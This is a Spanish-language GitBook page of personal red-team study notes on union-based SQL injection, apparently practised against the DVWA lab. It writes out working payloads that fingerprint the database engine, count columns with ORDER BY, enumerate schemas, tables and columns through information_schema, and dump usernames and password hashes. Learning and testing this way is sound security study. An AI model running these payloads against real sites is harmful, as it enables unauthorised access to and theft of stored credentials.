RED TEAM
  • Presentación
  • Apuntes Linux
  • Apuntes Blue Team
  • Apuntes Python
  • Ricardev github
  • RECON
    • OSINT
    • DESCUBRIENDO LA RED
      • NMAP NSE
    • SNIFFING
      • TCPDUMP
  • TECHNIQUES
    • FUERZA BRUTA
      • HYDRA
      • MEDUSA
      • JOHN THE RIPPER
      • NCRACK
      • RAINBOW TABLES
      • CHEATSHEET
    • CLAVES RSA DÉBILES
  • WEB HACKING
    • FUZZING
      • GOBUSTER
      • WFUZZ
      • OTRAS HERRAMIENTAS DE RECONOCIMIENTO WEB
    • OWASP TOP 10
      • A1-2017. SQL INJECTION
        • LOGIN FORM BYPASS
        • EXTRACCIÓN DE INFORMACIÓN.
        • SQLI MODIFIED HEADERS
        • BOOLEAN BLIND SQLI
        • TIME-BASED BLIND SQLI
        • AUTOMATIC INJECTION
      • A2-2017. ATAQUES A SISTEMAS DE AUTENTICACIÓN
      • A3-2017 - EXPOSICIÓN DE DATOS SENSIBLES
      • A4-2017. XXE
      • A5-2017. CONTROL DE ACCESO VULNERABLE
      • A6-2017. SEGURIDAD MAL CONFIGURADA
      • A7-2017. XSS
      • A8-2017. DESERIALIZACIÓN INSEGURA
      • A9-2017. USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS
      • A10-2017. REGISTRO Y MONITOREO INSUFICIENTE
    • SERVICIOS WEB
      • APACHE TOMCAT (RCE)
      • PRTG NETWORK MONITOR (RCE)
  • SERVICES HACKING (BOTH)
    • 20,21 - FTP
      • FTP BOUNCE ATTACK - ESCANEO
      • FTP BOUNCE ATTACK- DESCARGA DE OTRA FTP
    • 23 - TELNET
    • 25, 465 587 - SMTP
    • 111, 2049 - RPCBIND Y NFS
    • 161,162,10161,10162/udp - SNMP
      • SNMP (RCE Linux)
    • 445 - SMB
      • ETERNALBLUE
    • 3306 - MYSQL
  • SERVICES HACKING (LINUX)
    • 3632 - DISTCCD
  • SERVICES HACKING (WINDOWS)
    • 135, 539 - MSRPC
    • 389, 636 - LDAP / LDAPS
    • 1443 - MSSQL
  • ACTIVE DIRECTORY HACKING
    • CREANDO UN LABORATORIO DE AD
      • 1. Instalación de Windows Server 2016
      • 2. ROL DE ACTIVE DIRECTORY
      • 3. MALAS PRÁCTICAS NECESARIAS
    • CONCEPTOS
      • SPN Y KERBEROS
    • ENUMERACIÓN
      • BLOODHOUND
    • ATAQUES
      • SMB RELAY
      • NTLM RELAY
      • KERBEROASTING
      • AS_REP ROASTING
  • PRIVESC
    • WINDOWS
    • LINUX
      • LXD/LXC GROUP
  • EXFILTRACIÓN
    • EXFILTRANDO INFORMACIÓN
  • SHELL AND POWERSHELL TRICKS
    • Transfiriendo datos (traducir)
    • MEJORANDO SHELL A TTY INTERACTIVA (Traducir)
  • PWN LINUX
    • CREANDO UN LABORATORIO SIN MITIGACIONES
    • TEORÍA
      • ESTRUCTURA DE UN BINARIO DE LINUX
        • HERRAMIENTAS
      • ENSAMBLADOR
      • CONVENCIÓN DE LLAMADAS
      • MITIGACIONES
      • SYSCALL Y SHELLCODE
      • FORMAT STRING
      • RETURN-ORIENTED PROGRAMMING
        • GADGETS
    • ESTRATEGIAS DE EXPLOIT
      • STACK EXPLOITS
        • ATAQUE “SMASH THE STACK” SENCILLO
        • ATAQUE RET2WIN
        • ATAQUE RET2SHELLCODE
        • ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES
        • ATAQUE FORMAT STRING RET2SHELLCODE 4 BYTES
        • CANARY BYPASS
        • ATAQUE RET2LIBC
    • PRÁCTICA
      • PHOENIX
        • SETUP
        • STACK-ZERO amd64
        • STACK-ONE amd64
        • STACK-TWO amd64
        • STACK-THREE amd64
        • STACK-FOUR amd64
        • STACK-FIVE amd64
        • STACK-SIX amd64
        • FORMAT-ZERO amd64
Con tecnología de GitBook
En esta página
  • DETECTANDO GESTOR DE BASE DE DATOS
  • DETERMINANDO CANTIDAD DE COLUMNAS
  • 1. INTEGER
  • 2. CADENA
  • DETERMINANDO NOMBRE DE LA BASE DE DATOS / TABLAS / COLUMNAS
  • FILTRANDO DATOS DE SALIDA PARA OPTIMIZAR
  • EXTRAER TODOS LOS DATOS DE UNA BASE DE DATOS
  • EXTRAER INFORMACION CON METODO POST

¿Te fue útil?

  1. WEB HACKING
  2. OWASP TOP 10
  3. A1-2017. SQL INJECTION

EXTRACCIÓN DE INFORMACIÓN.

Extrayendo información despues de obtener acceso a la base de datos.

DETECTANDO GESTOR DE BASE DE DATOS

1. Utilizar herramientas como NMAP o similares

  • Puerto 3306 MySQL por defecto

2. Utilizar TABLA DE CONCATENACION:

GESTOR

'a' || 'b'

'a' + 'b'

concat('a','b')

Oracle

'ab'

ERROR

'ab'

PostgreSQL

'ab'

ERROR

ERROR

MySQL

0

'ab'

'ab'

SQL Server

ERROR

'ab'

ERROR

Si introduce como input alguna de las siguientes concatenaciones, sabrá que GESTOR es mas posible que sea en funcion del resultado obtenido.

Tambien puede utilizar:

@@Version → Para MySQL y MsSQL Version() → PostgreSQL y MySQL banner FROM v$version → Oracle

DETERMINANDO CANTIDAD DE COLUMNAS

El metodo variara en caso de que la inyeccion sea Integer o String:

1. INTEGER

Primero debo comprobar que la web es vulnerable a SQL Injection.

En este caso, utilizo -1 en vez de (') por ser inyección de integer.

Despues utilizo -1 ORDER BY 5 -- - Para ordenar las columnas de 5 en 5.

Continuo con -1 ORDER BY 10 -- - Y resulta que me da error al no encontrar la columna numero 10.

Intento con -1 ORDER BY 8 -- - Y no me da error.

En cambio con -1 ORDER BY 9 -- - Si que da error.

Por lo tanto, el numero de columnas es exactamente 8.

Por ultimo, para comprobar hago -1 UNION SELECT 1,2,3,4,5,6,7,8 -- - Y no me da ningun error.

2. CADENA

Primero debo comprobar con (') que la web es vulnerable a SQL Injection.

Despues utilizo ' ORDER BY 5 -- - Para ordenar las columnas de 5 en 5.

Continuo con ' ORDER BY 10 -- - Y resulta que me da error al no encontrar la columna numero 10.

Intento con ' ORDER BY 8 -- - Y no me da error.

En cambio con ' ORDER BY 9 -- - Si que da error.

Por lo tanto, el numero de columnas es exactamente 8.

Por ultimo, para comprobar hago ' UNION SELECT 1,2,3,4,5,6,7,8 -- - Y no me da ningun error.

DETERMINANDO NOMBRE DE LA BASE DE DATOS / TABLAS / COLUMNAS

1. Lo primero como ya hemos visto es comprobar que es vulnerable (')

2. Despues compruebo el numero de columnas con ORDER BY como en el punto anterior.

3. Utilizo ' UNION SELECT 1,2 -- - para comprobar y si no me da error, esta correcto.

4. Ahora puedo cambiar 1 y 2 por otro tipo de informaciones sacadas de la tabla:

' UNION SELECT @@version,2 -- - → muestra la version donde deberia estar el valor de 1.

' UNION SELECT table_schema,2 FROM information_schema.schemata -- - → muestra los nombres de las bases de datos.

' UNION SELECT table_schema,table_name FROM information_schema.tables -- - → muestra el nombre de las tablas y a que Base de datos pertenece.

' UNION SELECT table_name,column_name FROM information_schema.columns -- - → muestra el nombre de las tablas y las columnas que le pertenecen.

FILTRANDO DATOS DE SALIDA PARA OPTIMIZAR

Ya sabemos como extraer mucha informacion de la base de datos, pero, en ocasiones, se da el caso de que la web solo nos ofrece una pieza de informacion. O por el contrario, nos ofrece toda la informacion posible. Es por eso que tengo que saber como filtrar la informacion.

1. Compruebo que base de datos quiero atacar.

' UNION SELECT table_schema,2 FROM information_schema.tables -- -

Asi obtengo los nombres de las bases de datos y elijo la que yo quiero atacar.

2. Ahora, para obtener las tablas de esta base de datos tengo que filtrar:

‘ UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=’dvwa' -- -

Ahora solo veo las tablas de la Base de datos “dvwa” por lo que puedo elegir la tabla que quiero atacar.

3. Seguimos para obtener las columnas de la tabla “users”

‘ UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema=’dvwa' AND table_name='users' -- -

Ya obtengo las columnas dentro de la tabla users de la base de datos dvwa. Ya solo queda sacar la informacion de las columnas.

Si solo puedo ver un dato al mismo tiempo, debo empezar a concatenar AND y != para ir navegando por cada una de las Bases de Datos, Luego tablas, luego columnas y por ultimo datos.

' UNION SELECT table_schema,2 FROM information_schema.tables WHERE table_schema!=dvwa AND table_schema!=fonts -- -

Asi, filtrando poco a poco vamos obteniendo la informacion que queremos.

EXTRAER TODOS LOS DATOS DE UNA BASE DE DATOS

Ya hemos conseguido alcanzar la COLUMNA de la TABLA de la BASE DE DATOS que nos interesa. Ahora necesitamos sacar la informacion de esta columna:

' UNION SELECT user,password FROM users -- -

Como ya sabemos la tabla de la que queremos sacar la informacion, no hace falta nada mas.

EXTRAER INFORMACION CON METODO POST

En todos los casos anteriores hemos utilizado el metodo GET, es decir, modificando el URL.

El metodo POST no me permite mostrar ni modificar los datos en el URL,

Para hacer las consultas con el metodo POST necesito una herramienta como BURP SUITE para modificar la solicitud POST en caliente antes de la transmision.

El procedimiento para obtener la informacion seria el mismo.

AnteriorLOGIN FORM BYPASSSiguienteSQLI MODIFIED HEADERS

Última actualización hace 3 años

¿Te fue útil?